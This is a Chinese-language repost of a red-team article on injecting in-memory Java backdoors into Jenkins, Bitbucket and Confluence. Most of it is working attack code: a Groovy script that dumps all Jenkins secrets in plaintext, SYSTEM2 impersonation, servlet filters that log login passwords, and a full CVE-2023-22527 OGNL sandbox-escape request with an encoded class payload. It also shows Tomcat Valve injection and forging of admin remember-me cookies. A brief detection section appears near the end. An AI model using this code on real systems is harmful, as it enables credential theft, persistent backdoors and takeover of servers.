import com.cloudbees.plugins.credentials.CredentialsProviderimport com.cloudbees.plugins.credentials.common.StandardUsernameCredentialsimport com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKeyimport com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImplimport com.cloudbees.plugins.credentials.common.StandardCredentialsimport org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImplimport org.jenkinsci.plugins.plaincredentials.impl.StringCredentialsImplimport com.cloudbees.plugins.credentials.impl.CertificateCredentialsImplimport hudson.model.ItemGroup
def stringify(c) { switch(c) { case BasicSSHUserPrivateKey: return String.format("id=%s desc=%s passphrase=%s keys=%s", c.id, c.description, c.getPassphrase() != null ? c.getPassphrase().getPlainText() : '', c.privateKeySource.getPrivateKeys()) case UsernamePasswordCredentialsImpl: return String.format("id=%s desc=%s user=%s pass=%s", c.id, c.description, c.username, c.password != null ? c.password.getPlainText() : '') case FileCredentialsImpl: is = c.getContent() if(is != null){ byte[] buf = new byte[is.available()] is.read(buf); content = buf.encodeBase64().toString() } else { content = ''; } return String.format("id=%s desc=%s filename=%s content=%s", c.id, c.description, c.getFileName(), content) case StringCredentialsImpl: return String.format("id=%s desc=%s secret=%s", c.id, c.description, c.getSecret() != null ? c.getSecret().getPlainText() : '') case CertificateCredentialsImpl: source = c.getKeyStoreSource() if (source != null) content = source.getKeyStoreBytes().encodeBase64().toString() else content = '' return String.format("id=%s desc=%s password=%s keystore=%s", c.id, c.description, c.getPassword() != null ? c.getPassword().getPlainText() : '', content) default: return 'Unknown type ' + c.getClass().getName() }}
for (group in Jenkins.instance.getAllItems(ItemGroup)) { println "============= " + group for (cred in CredentialsProvider.lookupCredentials(StandardCredentials, group)) println stringify(cred)}println "============= Global"for (cred in CredentialsProvider.lookupCredentials(StandardCredentials, Jenkins.instance, null, null)) println stringify(cred)

实现执行 Groovy 脚本的功能确实很有用,尤其是当通过利用前面提到的 RCE 链之一注入内存中的 webshell 时,因为注入的代码将从未经身份验证的用户上下文中执行。为了能够通过 Groovy 脚本在 Jenkins 上执行特权操作,应该调整此功能以模拟特权用户。

实际上,Jenkins 内部定义了一个名为SYSTEM2 的特定经过身份验证的用户,该用户被授予所有权限。Jenkins 上的身份验证是使用Spring 的身份验证核心功能执行的。

当前已验证的用户存储在 Spring 中SecurityContext,可以从中检索其当前实例SecurityContextHolder

AuthenticationnullANONYMOUS在替换当前实例SecurityContext足以模拟SYSTEM2用户:

String script = (String) args.get("script");
ClassLoader ctxLoader = Thread.currentThread() .getContextClassLoader();
Object SYSTEM2 = ctxLoader.loadClass("hudson.security.ACL") .getField("SYSTEM2").get(null);
Object securityCtx = ctxLoader .loadClass("org.springframework.security.core.context.SecurityContextHolder") .getMethod("getContext").invoke(null);Class authClass = ctxLoader.loadClass("org.springframework.security.core.Authentication");Object oldAuth = securityCtx.getClass().getMethod("getAuthentication") .invoke(securityCtx);Method setAuth = securityCtx.getClass() .getMethod("setAuthentication", new Class[]{ authClass });try { // Impersonate SYSTEM2 (full privileges) setAuth.invoke(securityCtx, SYSTEM2);
Class scriptingKlass = ctxLoader.loadClass("hudson.util.RemotingDiagnostics$Script"); Constructor scriptingConstructor = scriptingKlass .getDeclaredConstructors()[0]; scriptingConstructor.setAccessible(true); Object scripting = scriptingConstructor.newInstance(script); Method call = scriptingKlass.getDeclaredMethod("call"); call.setAccessible(true); String res = (String) call.invoke(scripting); result.put("res", res);} finally { //revert auth context setAuth.invoke(securityCtx, oldAuth);}

从那时起,Groovy 脚本将以完全权限执行,无论向 webshell 发送 HTTP 请求的用户是否已经通过身份验证。

拦截凭证

最后,对于 Bitbucket,Jenkins 使用/j_spring_security_check端点来验证其用户,并且可以配置 LDAP 目录。从我们的自定义过滤器中,我们可以轻松拦截此类请求并记录纯文本凭据:

public class CustomFilter implements Filter {  // [...]  @Override  public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {    try {      HttpServletRequest request = (HttpServletRequest) servletRequest;      HttpServletResponse response = (HttpServletResponse) servletResponse;
if (/* [...] */) { // [...] } else if (request.getRequestURI().equals("/j_spring_security_check") && request.getMethod().equalsIgnoreCase("POST") && request.getParameter("j_username") != null && request.getParameter("j_password") != null) { logCredentials(request.getParameter("j_username"), request.getParameter("j_password")); } } catch (Exception ignored) { } if (filterChain != null) { filterChain.doFilter(servletRequest, servletResponse); } } // [...]}

通过模板注入加载

Confluence 是 Atlassian 开发的一款协作工作区软件。它旨在帮助团队有效地协作和共享知识。Confluence 提供了一个平台,用于创建、组织和讨论文档、电子表格、项目计划、会议记录等内容。它通常与其他 Atlassian 产品(如 Jira、Bitbucket 和 Trello)结合使用,以促进软件开发和项目管理不同方面的协作。

语境

2024 年 1 月,披露了 一个影响 Confluence 数据中心的 SSTI 漏洞,编号为CVE-2023-22527text-inline.vm 。通过向Velocity 模板发送请求,无需事先身份验证即可利用此漏洞。此模板使用该方法从请求参数执行直接 OGNL(对象图导航语言)扩展findValue。本文16提供了根本原因的解释和 PoC 。

此漏洞可用于入侵托管它的服务器并执行网络转移。但是,对于 Bitbucket 而言,如果此应用程序托管敏感资产且仍被合法用户使用,则首先入侵它及其托管的资产可能很有意思。此外,如果传出流量被过滤,并且如果应用程序以非特权用户身份执行,则可能需要使用应用程序本身窃取数据。

破坏它的最简单方法是通过 Java 代码与其运行时进行交互。Confluence 内部使用以下依赖项:

  • Struts2.

  • Tomcat embedded.

  • Spring.

利用此漏洞注入内存有效负载已在本博客文章17和 PoC 18中描述。但是,我们将演示一种略有不同的方法。

注入内存有效载荷

在以下请求中,我们使用 OGNL 诡计来绕过长度限制,但不延长长度限制:

POST /template/aui/text-inline.vm HTTP/1.1Host: 127.0.0.1:8090Content-Type: application/x-www-form-urlencodedContent-Length: 1341Connection: close
name=Main33&label=<@urlencode>textu0027+(#p=#parameters[0]),(#o=#request[#p[0]].internalGet(#p[1])),(#i=0),(#v=#{}),(#parameters[1].{#v[#i-1]=#o.findValue(#parameters[1][(#i=#i+1)-1],#{0:#parameters,1:#v})})+u0027<@/urlencode>&0=.KEY_velocity.struts2.context&0=ognl&1=@Thread@currentThread().getContextClassLoader()&[email protected]@getDecoder().decode(#root[0]["clazz"][0])&1=new+net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],#{#root[0]['name'][0]:#root[1][1]})&[email protected]@create(#root[1][2],"loadClass","")&1=#root[1][3].getMethod().invoke(#root[1][2],#root[0]['name'][0]).newInstance()&clazz=<@urlencode>yv66vgAAAD0AIQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCQAIAAkHAAoMAAsADAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsIAA4BAAtDb25zdHJ1Y3RvcgoAEAARBwASDAATABQBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVggAFgEADFN0YXRpYyBibG9jawcAGAEABk1haW4zMwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAITE1haW4zMzsBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAtNYWluMzMuamF2YQAhABcAAgAAAAAAAgABAAUABgABABkAAAA/AAIAAQAAAA0qtwABsgAHEg22AA+xAAAAAgAaAAAADgADAAAAAgAEAAMADAAEABsAAAAMAAEAAAANABwAHQAAAAgAHgAGAAEAGQAAACUAAgAAAAAACbIABxIVtgAPsQAAAAEAGgAAAAoAAgAAAAcACAAIAAEAHwAAAAIAIA==<@/urlencode>

该payload分为四个部分:

  1. 该label参数利用OGNL注入并逃避受限制的Struts2上下文。

  2. POST 参数数组0,使得label负载更短。

  3. POST参数数组1,定义最终执行的复杂有效载荷。

  4. 补充POST参数,用于向步骤3有效负载传递参数(例如clazz和name)。

以更易读的方式,该label参数注入以下 OGNL 有效负载:

// #parameters[0] = {".KEY_velocity.struts2.context", "ognl"}// #parameters[1] = {"3*6", "@[email protected](#root[1][0])"}
#p = #parameters[0]#o = #request[#p[0]].internalGet(#p[1])#i = 0#v = #{}#parameters[1].{ #v[#i-1] = #o.findValue( #parameters[1][(#i = #i + 1) - 1], #{0:#parameters, 1:#v} )}

它逃离沙盒,并使用带有委托的集合投影(参见文档和本博客文章19)来评估 POST 参数数组的每个元素(或有效负载行)1。label有效负载还存储在沙盒外执行的每一行的结果,并将此结果数组传递到参数中#root[1]。最后,它在中传递当前请求的 POST 参数#root[0]。

即使 Struts2 上下文被转义,该类OgnlRuntime仍然限制可以调用哪些方法:

package ognl;// [...]public class OgnlRuntime {  // [...]  public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {    if (_useStricterInvocation) {      Class methodDeclaringClass = method.getDeclaringClass();      if (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method)          || AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method)           || SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method)           || SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method)           || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass)           || ClassResolver.class.isAssignableFrom(methodDeclaringClass)           || MethodAccessor.class.isAssignableFrom(methodDeclaringClass)           || MemberAccess.class.isAssignableFrom(methodDeclaringClass)           || OgnlContext.class.isAssignableFrom(methodDeclaringClass)           || Runtime.class.isAssignableFrom(methodDeclaringClass)           || ClassLoader.class.isAssignableFrom(methodDeclaringClass)           || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass)           || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {        throw new IllegalAccessException("Method [" + method + "] cannot be called from within OGNL invokeMethod() " + "under stricter invocation mode.");      }    }  // [...]}

通过调用 Spring 可以轻松绕过它MethodInvocationUtils

最终的有效负载存储在 POST 参数数组中1,使用ByteArrayClassLoader Confluence 包含的自定义类和 Spring 来调用的MethodInvocationUtils过滤方法:loadClassClassLoader

#root[1][0] = @Thread@currentThread().getContextClassLoader()#root[1][1] = @java.util.Base64@getDecoder().decode(#root[0]["clazz"][0])#root[1][2] = new net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],#{#root[0]['name'][0]:#root[1][1]})#root[1][3] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"loadClass","")#root[1][4] = #root[1][3].getMethod().invoke(#root[1][2],#root[0]['name'][0]).newInstance()

这个有效载荷可以扩展来定义需要的任意多个类,在POST参数数组中指定classesnames

#root[1][0] = @Thread@currentThread().getContextClassLoader()#root[1][1] = @java.util.Base64@getDecoder()#root[1][2] = new net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],false,#{})#root[1][3] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"defineClass","","".getBytes()).getMethod()#root[1][4] = #root[(#k=0)]['classes'].{#root[1][3].invoke(#root[1][2],#root[0]['names'][(#k=#k+1)-1],#root[1][1].decode(#root[0]['classes'][#k-1]))}#root[1][5] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"loadClass","").getMethod()#root[1][6] = #root[1][5].invoke(#root[1][2],#root[0]['main'][0]).newInstance()

请注意,只要 Confluence 加载了脚本引擎,也可以在此处使用脚本引擎来完全绕过沙盒。GitHub 20上的 PoC和一篇文章21依赖 JavaScriptScriptingEngine来利用CVE-2022-26134并在运行时注入自定义类。但是,此类引擎似乎在 Confluence 和 JDK 17 上不再默认可用。

与 Confluence 交互

Confluence 与 Bitbucket 类似,也是 Atlassian 开发的产品,我们可以发现它们之间存在一定的相似之处。值得注意的是,其他研究人员此前已经发布了22 23个旨在执行后利用攻击的 Java 类示例。

将内存后门注入 Confluence 可以利用 Bitbucket 部分中概述的相同技术。由于 Confluence 是基于 Tomcat 构建的,因此该过程涉及注册新的Valve,从而能够利用现有代码库注入后门。从上一节介绍的 SSTI 的利用中,可以StandardContext利用 Struts2 的 访问 Tomcat 的。实际上,后者可以从处理 Web 请求的线程访问,可以通过对不同字段进行一些反射来获得ServletActionContext对实例的引用。StandardContext

ServletContext svlCtx = ServletActionContext.getRequest().getServletContext();Field field = svlCtx.getClass().getDeclaredField("context");field.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) field.get(svlCtx);
field = applicationContext.getClass().getDeclaredField("context");field.setAccessible(true);return (StandardContext)field.get(applicationContext);

参照此上下文,可以按照前面描述的方式注册 Valve。

但是,Bitbucket 和 Confluence 在访问组件的方法上存在显著差异。Bitbucket 使用@ServiceSpring 框架中的注释来注入依赖项,而 Confluence 采用实例管理器。便于访问应用程序内各种类的主要组件是ContainerManager。它维护对其他类实例的引用,可以通过它静态检索这些引用,如下所示:

UserAccessor userAccessor = (UserAccessor) ContainerManager.getComponent("userAccessor");for (User user : userAccessor.getUsers()) {    System.out.println(user.getName())}

这使我们能够访问并与任何 Confluence 组件交互。

生成身份验证 cookie

使用该类ContainerManager,我们可以访问不同的类来生成remember-me cookie,就像对 Bitbucket 所做的那样。此技术已在两个 GitHub 存储库22 23上发布。

通过访问该类RememberMeTokenDao,我们可以remember-me为任意用户生成新的 cookie:

DefaultRememberMeTokenGenerator generator = new DefaultRememberMeTokenGenerator();RememberMeConfiguration config = (RememberMeConfiguration) ContainerManager  .getComponent("rememberMeConfig");
RememberMeToken token = ((RememberMeTokenDao) ContainerManager.getComponent("rememberMeTokenDao")) .save(generator.generateToken("admin"));
String cookie = String.format("%s=%s", config.getCookieName(), URLEncoder.encode(String.format("%s:%s", save.getId(), save.getRandomString())));// seraph.confluence=622594%3Aeccf6dfd9acbde7dc82d43357df11e203d07b1df

然后可以使用该 cookie 来获取经过身份验证的会话并管理应用程序:

$ curl -kIs -b "seraph.confluence=622594%3Aeccf6dfd9acbde7dc82d43357df11e203d07b1df" http://confluence.local:8090/admin/users/browseusers.actionHTTP/1.1 200 Cache-Control: no-storeExpires: Thu, 01 Jan 1970 00:00:00 GMTX-Confluence-Request-Time: 1712744566388Set-Cookie: JSESSIONID=960285A70EAA39C4F21CAE9530A873F3; Path=/; HttpOnlyX-Seraph-LoginReason: OKX-AUSERNAME: admin

拦截凭证

对于 Confluence,身份验证表单使用/dologin.action端点。例如,当提交表单时,将执行以下请求:

POST /dologin.action HTTP/1.1Host: confluence.local:8090Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded[...]
os_username=admin&os_password=admin&login=Log+in&os_destination=%2Findex.action

通过提取正确的参数,可以从后门拦截凭证,就像对 Bitbucket 和 Jenkins 所做的那样:

Map<String, Object> creds = new HashMap<>();creds.put("user", request.getParameter("os_username"));creds.put("password", request.getParameter("os_password"));

检测

对于蓝队成员来说,识别内存中的 Webshell 可能具有挑战性,因为磁盘上没有留下任何痕迹。这意味着检测此类负载的唯一方法是通过行为分析,这本身就很困难。监控这些软件实例的子进程是一种很好的方法,因为它可以帮助捕获应用程序执行的命令,无论是来自ProcessBuilder还是来自Runtime.getRuntime().exec(…)

如果您怀疑托管 Java 应用程序的服务器可能受到攻击,则可以使用 copagent 24工具提取敏感类。有趣的是,后者还利用 Java 代理的功能来提取所有已加载的类:

$ java -jar cop.jar -p 7[INFO] Java version: 17[INFO] args length: 2[INFO] Java version: 17[INFO] args length: 4[INFO] Try to attach process 7, please wait a moment ...

该工具具有要提取的敏感类别的内置列表:

List<String> riskSuperClassesName = new ArrayList<String>();riskSuperClassesName.add("javax.servlet.http.HttpServlet");
List<String> riskPackage = new ArrayList<String>();riskPackage.add("net.rebeyond.");riskPackage.add("com.metasploit.");
List<String> riskAnnotations = new ArrayList<String>();riskAnnotations.add("org.springframework.stereotype.Controller");[...]

当一个类匹配时,它会在本地被提取出来并添加到文件中.copagent/results.txt。下面是我们后门加载的两个类的示例,由于它们扩展了该类javax.servlet.Filter,因此它们会被提取出来:

[...]order: 281name: org.foo.bar.Class1risk level: normallocation: /tmp/.copagent/java/org.foo.bar.a.a - 8f2ef92/org/foo/bar/Class1.javahashcode: 6e6bb856classloader: org.foo.bar.a.aextends     : org.foo.bar.a.a@8f2ef92
order: 282name: org.foo.bar.Class2risk level: normallocation: /tmp/.copagent/java/org.foo.bar.a.a - 8f2ef92/org/foo/bar/Class2.javahashcode: 66bd3ba5classloader: org.foo.bar.a.aextends : org.foo.bar.a.a@8f2ef92[...]

请注意,风险级别评分基于该类执行的一些方法调用:

List<String> riskKeyword = new ArrayList<String>();riskKeyword.add("javax.crypto.");riskKeyword.add("ProcessBuilder");riskKeyword.add("getRuntime");riskKeyword.add("shell");

然后可以在本地访问已编译的类:

$ ll class/org.foo.bar.a.a-8f2ef92/org/foo/bar/total 164 drwxr-x--- 2 confluence confluence 4096 Apr 10 14:26 .4 drwxr-x--- 3 confluence confluence 4096 Apr 10 14:26 ..4 -rw-r----- 1 confluence confluence 3285 Apr 10 14:42 Class1.class4 -rw-r----- 1 confluence confluence 1377 Apr 10 14:42 Class2.class

结论

我们最近在红队交战期间采用了这些方法,凭证拦截方面被证明非常有价值,极大地帮助了我们的入侵工作。最终,我们成功获取了属于特权用户的凭证。鉴于某些服务可能与 Active Directory 相关联,获取这些凭证可能会授予对内部网络的特权访问权限。

对于蓝队来说,识别此类后门是一项相当大的挑战,尽管可以通过某些工具实现,但这个过程是手动且耗时的。此类攻击已经在现实世界中被观察到25 17 次,攻击者可能已经使用过此类后门。这些类型的软件经常成为攻击者的目标,因为它们包含大量信息,攻击者可以利用这些信息继续入侵或窃取敏感数据。

https://www.synacktiv.com/publications/java-deserialization-trickshttps://github.com/notdls/CVE-2022-36804https://www.rapid7.com/db/modules/exploit/linux/http/bitbucket_git_cmd_...https://blog.frankel.ch/jvm-security/4/https://fahdshariff.blogspot.com/2011/08/changing-java-library-path-at-…https://blog.csdn.net/weixin_55436205/article/details/130323614https://mp.weixin.qq.com/s/OLNznd14NlzEzeGelRLV9ghttps://github.com/thirdr3am/ZhouYu/tree/mainhttps://github.com/rebeyond/memShell/tree/masterhttps://github.com/rapid7/metasploit-framework/blob/master/modules/expl...https://ssd-disclosure.com/ssd-advisory-cloudbees-jenkins-unauthenticat...https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic…https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthentic…https://github.com/orangetw/awesome-jenkins-rce-2019https://www.codurance.com/publications/2019/05/30/accessing-and-dumping…https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-...https://vulncheck.com/blog/confluence-dreams-of-shells  https://github.com/vulncheck-oss/cve-2023-22527/tree/mainhttps://www.pingidentity.com/en/resources/blog/post/looping-in-ognl.htmlhttps://github.com/BeichenDream/CVE-2022-26134-Godzilla-MEMSHELLhttps://github.com/httpvoid/writeups/blob/main/Confluence-RCE.mdhttps://github.com/CrackerCat/PostConfluence  https://github.com/BeichenDream/PostConfluencehttps://github.com/LandGrey/copagenthttps://blog.cloudflare.com/thanksgiving-2023-security-incident/

感谢您抽出

注入 Java 内存有效载荷以进行后期利用

.

注入 Java 内存有效载荷以进行后期利用

.

注入 Java 内存有效载荷以进行后期利用

来阅读本文

注入 Java 内存有效载荷以进行后期利用

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):注入 Java 内存有效载荷以进行后期利用

版权声明:admin 发表于 2024年7月25日 上午10:55。
转载请注明:注入 Java 内存有效载荷以进行后期利用 | CTF导航

相关文章